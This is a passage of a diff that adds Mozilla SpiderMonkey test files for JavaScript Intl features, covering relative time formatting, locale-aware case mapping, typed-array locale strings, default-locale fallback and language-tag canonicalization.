+ let nf2 = new Intl.RelativeTimeFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(nf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(nf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(nf2.format(0, "second"), nf1.format(0, "second"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js b/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js
new file mode 100644
index 0000000000..fb30e5a9ce
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var rtf;
+
+rtf = new Intl.RelativeTimeFormat("en-us");
+assertEq(rtf.resolvedOptions().locale, "en-US");
+assertEq(rtf.resolvedOptions().style, "long");
+assertEq(rtf.resolvedOptions().numeric, "always");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js b/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..214b12570e
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js
@@ -0,0 +1,373 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-posix",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+const result = Intl.RelativeTimeFormat.supportedLocalesOf(locales);
+
+assertEqArray(locales, result);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/String/shell.js b/js/src/tests/non262/Intl/String/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/shell.js
diff --git a/js/src/tests/non262/Intl/String/toLocaleLowerCase.js b/js/src/tests/non262/Intl/String/toLocaleLowerCase.js
new file mode 100644
index 0000000000..bd81717d22
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/toLocaleLowerCase.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test language dependent special casing with different language tags.
+for (let locale of ["tr", "TR", "tr-TR", "tr-u-co-search", "tr-x-turkish"]) {
+ assertEq("\u0130".toLocaleLowerCase(locale), "i");
+ assertEq("\u0130".toLocaleLowerCase([locale]), "i");
+
+ // Additional language tags are ignored.
+ assertEq("\u0130".toLocaleLowerCase([locale, "und"]), "i");
+ assertEq("\u0130".toLocaleLowerCase(["und", locale]), "\u0069\u0307");
+}
+
+// Ensure "trl" (Traveller Scottish) isn't misrecognized as "tr", even though
+// both share the same prefix.
+assertEq("\u0130".toLocaleLowerCase("trl"), "\u0069\u0307");
+assertEq("\u0130".toLocaleLowerCase(["trl"]), "\u0069\u0307");
+
+// Language tag is always verified.
+for (let locale of ["no_locale", "tr-invalid_ext", ["no_locale"], ["en", "no_locale"]]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase(locale), RangeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "x".toLocaleLowerCase(locale), RangeError);
+}
+
+// No locale argument, undefined as locale, and empty array or array-like all
+// return the same result. Testing with "a/A" because it has only simple case
+// mappings.
+assertEq("A".toLocaleLowerCase(), "a");
+assertEq("A".toLocaleLowerCase(undefined), "a");
+assertEq("A".toLocaleLowerCase([]), "a");
+assertEq("A".toLocaleLowerCase({}), "a");
+assertEq("A".toLocaleLowerCase({length: 0}), "a");
+assertEq("A".toLocaleLowerCase({length: -1}), "a");
+
+// Test with incorrect locale type.
+for (let locale of [null, 0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "A".toLocaleLowerCase([locale]), TypeError);
+}
+
+// Primitives are converted with ToObject and then queried for .length property.
+for (let locale of [null]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "A".toLocaleLowerCase([locale]), TypeError);
+}
+// ToLength(ToObject(<primitive>)) returns 0.
+for (let locale of [0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertEq("".toLocaleLowerCase(locale), "");
+
+ // Non-empty input string.
+ assertEq("A".toLocaleLowerCase(locale), "a");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/String/toLocaleUpperCase.js b/js/src/tests/non262/Intl/String/toLocaleUpperCase.js
new file mode 100644
index 0000000000..0a33320dc7
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/toLocaleUpperCase.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test language dependent special casing with different language tags.
+for (let locale of ["lt", "LT", "lt-LT", "lt-u-co-phonebk", "lt-x-lietuva"]) {
+ assertEq("i\u0307".toLocaleUpperCase(locale), "I");
+ assertEq("i\u0307".toLocaleUpperCase([locale]), "I");
+
+ // Additional language tags are ignored.
+ assertEq("i\u0307".toLocaleUpperCase([locale, "und"]), "I");
+ assertEq("i\u0307".toLocaleUpperCase(["und", locale]), "I\u0307");
+}
+
+// Ensure "lti" (Leti) isn't misrecognized as "lt", even though both share the
+// same prefix.
+assertEq("i\u0307".toLocaleUpperCase("lti"), "I\u0307");
+assertEq("i\u0307".toLocaleUpperCase(["lti"]), "I\u0307");
+
+// Language tag is always verified.
+for (let locale of ["no_locale", "lt-invalid_ext", ["no_locale"], ["en", "no_locale"]]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase(locale), RangeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase(locale), RangeError);
+}
+
+// No locale argument, undefined as locale, and empty array or array-like all
+// return the same result. Testing with "a/A" because it has only simple case
+// mappings.
+assertEq("a".toLocaleUpperCase(), "A");
+assertEq("a".toLocaleUpperCase(undefined), "A");
+assertEq("a".toLocaleUpperCase([]), "A");
+assertEq("a".toLocaleUpperCase({}), "A");
+assertEq("a".toLocaleUpperCase({length: 0}), "A");
+assertEq("a".toLocaleUpperCase({length: -1}), "A");
+
+// Test with incorrect locale type.
+for (let locale of [null, 0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase([locale]), TypeError);
+}
+
+// Primitives are converted with ToObject and then queried for .length property.
+for (let locale of [null]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase([locale]), TypeError);
+}
+// ToLength(ToObject(<primitive>)) returns 0.
+for (let locale of [0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertEq("".toLocaleUpperCase(locale), "");
+
+ // Non-empty input string.
+ assertEq("a".toLocaleUpperCase(locale), "A");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/TypedArray/shell.js b/js/src/tests/non262/Intl/TypedArray/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/TypedArray/shell.js
diff --git a/js/src/tests/non262/Intl/TypedArray/toLocaleString.js b/js/src/tests/non262/Intl/TypedArray/toLocaleString.js
new file mode 100644
index 0000000000..7a5d0be30a
--- /dev/null
+++ b/js/src/tests/non262/Intl/TypedArray/toLocaleString.js
@@ -0,0 +1,103 @@
+if (typeof Intl === "object") {
+ const constructors = [
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ];
+
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Missing arguments are passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Missing options is passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+ let locales = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ assertEq(new Float32Array([NaN]).toLocaleString("ar"), "ليس رقم");
+ assertEq(new Float64Array([NaN]).toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq(new Float32Array([Infinity]).toLocaleString(["dz"]), "གྲངས་མེད");
+ assertEq(new Float64Array([-Infinity]).toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [-0, +0, -1, +1, -2, +2, -0.5, +0.5];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let constructor of constructors) {
+ let typedArray = new constructor(sampleValues);
+ let expected = [].map.call(typedArray, nf.format).join(localeSep);
+ assertEq(typedArray.toLocaleString(locale, options), expected);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js b/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js
new file mode 100644
index 0000000000..481d4ed7f1
--- /dev/null
+++ b/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js
@@ -0,0 +1,107 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+if (typeof getDefaultLocale === "undefined") {
+ var getDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().getDefaultLocale;
+}
+if (typeof setDefaultLocale === "undefined") {
+ var setDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().setDefaultLocale;
+}
+
+let defaultLocale = null;
+
+function withLocale(locale, fn) {
+ if (defaultLocale === null)
+ defaultLocale = getDefaultLocale();
+
+ setDefaultLocale(locale);
+ try {
+ fn();
+ } finally {
+ setDefaultLocale(defaultLocale);
+ }
+}
+
+// This test assumes German ("de") is a supported locale.
+const supported = Intl.Collator.supportedLocalesOf("de");
+assertEq(supported.length, 1);
+assertEq(supported[0], "de");
+
+withLocale("de", () => {
+ // Ensure the new default locale is now active.
+ assertEq(new Intl.Collator().resolvedOptions().locale, "de");
+
+ // "de" is the active default locale, so explicitly requesting "de" should succeed.
+ assertEq(new Intl.Collator("de").resolvedOptions().locale, "de");
+
+ // ICU doesn't provide a specialised "de-ZA" locale, so we fallback to "de".
+ assertEq(new Intl.Collator("de-ZA").resolvedOptions().locale, "de");
+
+ // ICU doesn't provide a specialised "de-ZA" locale, so we fallback to "de".
+ assertEq(new Intl.Collator("de-ZA-x-private").resolvedOptions().locale, "de");
+});
+
+// As demonstrated above, "de-ZA-x-private" normally isn't a supported Intl.Collator locale. But
+// when used as the default locale, it gets promoted to being supported, because its parent locale
+// "de" is supported and can act as a fallback.
+//
+// This works as follows:
+// We accept any default locale as long as it can be supported either explicitly or implicitly
+// through a fallback. But when we claim a default locale is supported, we also need to make sure
+// we report any parent locale as being supported. So when "de-ZA-x-private" is accepted as the
+// default locale, we also need to report its parent locale "de-ZA" as a supported locale.
+//
+// The reason we're doing this, is to make sure we aren't limiting the supported default locale to
+// the intersection of the sets of supported locales for each Intl service constructor. Also see
+// the requirements in <https://tc39.es/ecma402/#sec-internal-slots>, which state that the default
+// locale must be a member of [[AvailableLocales]] for every Intl service constructor.
+//
+// So the following statement must hold:
+//
+// ∀ Constructor ∈ IntlConstructors: DefaultLocale ∈ Constructor.[[AvailableLocales]]
+//
+// This can trivially be achieved when we restrict the default locale to:
+//
+// { RequestedLocale if RequestedLocale ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// DefaultLocale = { Fallback(RequestedLocale) if Fallback(RequestedLocale) ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// { LastDitchLocale otherwise
+//
+// But that severely restricts the possible default locales. For example, "de-CH" is supported by
+// all Intl constructors except Intl.Collator. Intl.Collator itself only provides explicit support
+// for the parent locale "de". So with the trivial solution we'd need to mark "de-CH" as an invalid
+// default locale and instead use its fallback locale "de".
+//
+// So instead of that we're using the following approach:
+//
+// { RequestedLocale if RequestedLocale ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// DefaultLocale = { RequestedLocale if Fallback(RequestedLocale) ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// { LastDitchLocale otherwise
+//
+// So even when the requested default locale is only implicitly supported through a fallback, we
+// still accept it as a valid default locale.
+withLocale("de-ZA-x-private", () => {
+ // Ensure the new default locale is now active.
+ assertEq(new Intl.Collator().resolvedOptions().locale, "de-ZA-x-private");
+
+ // "de-ZA-x-private" is the active default locale, so explicitly requesting the parent locale
+ // "de" should succeed.
+ assertEq(new Intl.Collator("de").resolvedOptions().locale, "de");
+
+ // "de-ZA-x-private" is the active default locale, so explicitly requesting the parent locale
+ // "de-ZA" should succeed.
+ assertEq(new Intl.Collator("de-ZA").resolvedOptions().locale, "de-ZA");
+
+ // "de-ZA-x-private" is the active default locale, so explicitly requesting "de-ZA-x-private"
+ // should succeed.
+ assertEq(new Intl.Collator("de-ZA-x-private").resolvedOptions().locale, "de-ZA-x-private");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/browser.js b/js/src/tests/non262/Intl/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/browser.js
diff --git a/js/src/tests/non262/Intl/default-locale-shell.js b/js/src/tests/non262/Intl/default-locale-shell.js
new file mode 100644
index 0000000000..ea3f6d17db
--- /dev/null
+++ b/js/src/tests/non262/Intl/default-locale-shell.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!xulRuntime.shell)
+
+// js/src/tests/lib/tests.py sets the default locale to "en-US" for shell tests.
+// Ensure it's correctly set in the runtime and for the Intl service constructors.
+const defaultLocale = "en-US";
+
+assertEq(getDefaultLocale(), defaultLocale);
+
+assertEq(new Intl.Collator().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.DateTimeFormat().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.NumberFormat().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.PluralRules().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.RelativeTimeFormat().resolvedOptions().locale, defaultLocale);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/duplicate-variants.js b/js/src/tests/non262/Intl/duplicate-variants.js
new file mode 100644
index 0000000000..5d07a9b109
--- /dev/null
+++ b/js/src/tests/non262/Intl/duplicate-variants.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// RFC 5646 section 2.1
+// variant = 5*8alphanum ; registered variants
+// / (DIGIT 3alphanum)
+
+// Duplicate variants are forbidden.
+assertEqArray(Intl.getCanonicalLocales("de-1996"), ["de-1996"]);
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("de-1996-1996"), RangeError);
+
+// Multiple different variants are allowed.
+assertEqArray(Intl.getCanonicalLocales("sl-rozaj-solba"), ["sl-rozaj-solba"]);
+
+// Variants can have the same prefix.
+assertEqArray(Intl.getCanonicalLocales("zh-Latn-pinyin-pinyin2"), ["zh-Latn-pinyin-pinyin2"]);
+
+// Values in extension sequences are not counted as variants.
+assertEqArray(Intl.getCanonicalLocales("en-u-kf-false-kn-false"), ["en-u-kf-false-kn-false"]);
+
+// Also test duplicates in Unicode extension keywords and attributes.
+// From https://tools.ietf.org/html/rfc6067#section-2.1
+//
+// An 'attribute' is a subtag with a length of three to eight
+// characters following the singleton and preceding any 'keyword'
+// sequences. No attributes were defined at the time of this
+// document's publication.
+//
+// A 'keyword' is a sequence of subtags consisting of a 'key' subtag,
+// followed by zero or more 'type' subtags (so a 'key' might appear
+// alone and not be accompanied by a 'type' subtag). A 'key' MUST
+// NOT appear more than once in a language tag's extension string.
+//
+// ...
+//
+// Only the first occurrence of an attribute or key conveys meaning in a
+// language tag. When interpreting tags containing the Unicode locale
+// extension, duplicate attributes or keywords are ignored in the
+// following way: ignore any attribute that has already appeared in the
+// tag and ignore any keyword whose key has already occurred in the tag.
+//
+// The duplicates itself are removed in CanonicalizeUnicodeLocaleId, step 2-3.
+assertEqArray(Intl.getCanonicalLocales("en-u-kn-false-kn-false"), ["en-u-kn-false"]);
+assertEqArray(Intl.getCanonicalLocales("en-u-attr1-attr2-attr2"), ["en-u-attr1-attr2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/extensions/browser.js b/js/src/tests/non262/Intl/extensions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/browser.js
diff --git a/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js b/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js
new file mode 100644
index 0000000000..5b2ee124aa
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell||!this.hasOwnProperty('Intl'))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 843004;
+var summary =
+ "Use of an object that emulates |undefined| as the sole option must " +
+ "preclude imputing default values";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var opt = createIsHTMLDDA();
+opt.toString = function() { return "long"; };
+
+var str = new Date(2013, 12 - 1, 14).toLocaleString("en-US", { weekday: opt });
+
+// Because "weekday" was present and not undefined (stringifying to "long"),
+// this must be a string like "Saturday" (in this implementation, that is).
+assertEq(str, "Saturday");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/extensions/shell.js b/js/src/tests/non262/Intl/extensions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/shell.js
diff --git a/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js b/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js
new file mode 100644
index 0000000000..ead69a4632
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.getSelfHostedValue)
+
+const startOfUnicodeExtensions = getSelfHostedValue("startOfUnicodeExtensions");
+const endOfUnicodeExtensions = getSelfHostedValue("endOfUnicodeExtensions");
+
+const testcases = [
+ // Language tag without Unicode extension.
+ { locale: "en", start: -1, end: 0 },
+ { locale: "en-Latn", start: -1, end: 0 },
+ { locale: "en-x-y", start: -1, end: 0 },
+ { locale: "en-x-yz", start: -1, end: 0 },
+ { locale: "en-x-u-kf", start: -1, end: 0 },
+
+ // Unicode extension sequence starts with key subtag.
+ // - no suceeding key or type subtags.
+ { locale: "en-u-ab", start: 2, end: 7 },
+ { locale: "en-u-ab-x-y", start: 2, end: 7 },
+ { locale: "en-u-ab-x-yz", start: 2, end: 7 },
+ { locale: "en-u-ab-x-u-kn", start: 2, end: 7 },
+ // - followed by key subtag.
+ { locale: "en-u-ab-cd", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-y", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-yz", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-u-kn", start: 2, end: 10 },
+ // - followed by type subtag.
+ { locale: "en-u-ab-cdef", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-y", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-yz", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-y-u-kn", start: 2, end: 12 },
+
+ // Unicode extension sequence starts with attribute subtag.
+ // - no suceeding attribute or key subtags.
+ { locale: "en-u-abc", start: 2, end: 8 },
+ { locale: "en-u-abc-x-y", start: 2, end: 8 },
+ { locale: "en-u-abc-x-yz", start: 2, end: 8 },
+ { locale: "en-u-abc-x-y-u-kn", start: 2, end: 8 },
+ // - followed by attribute subtag.
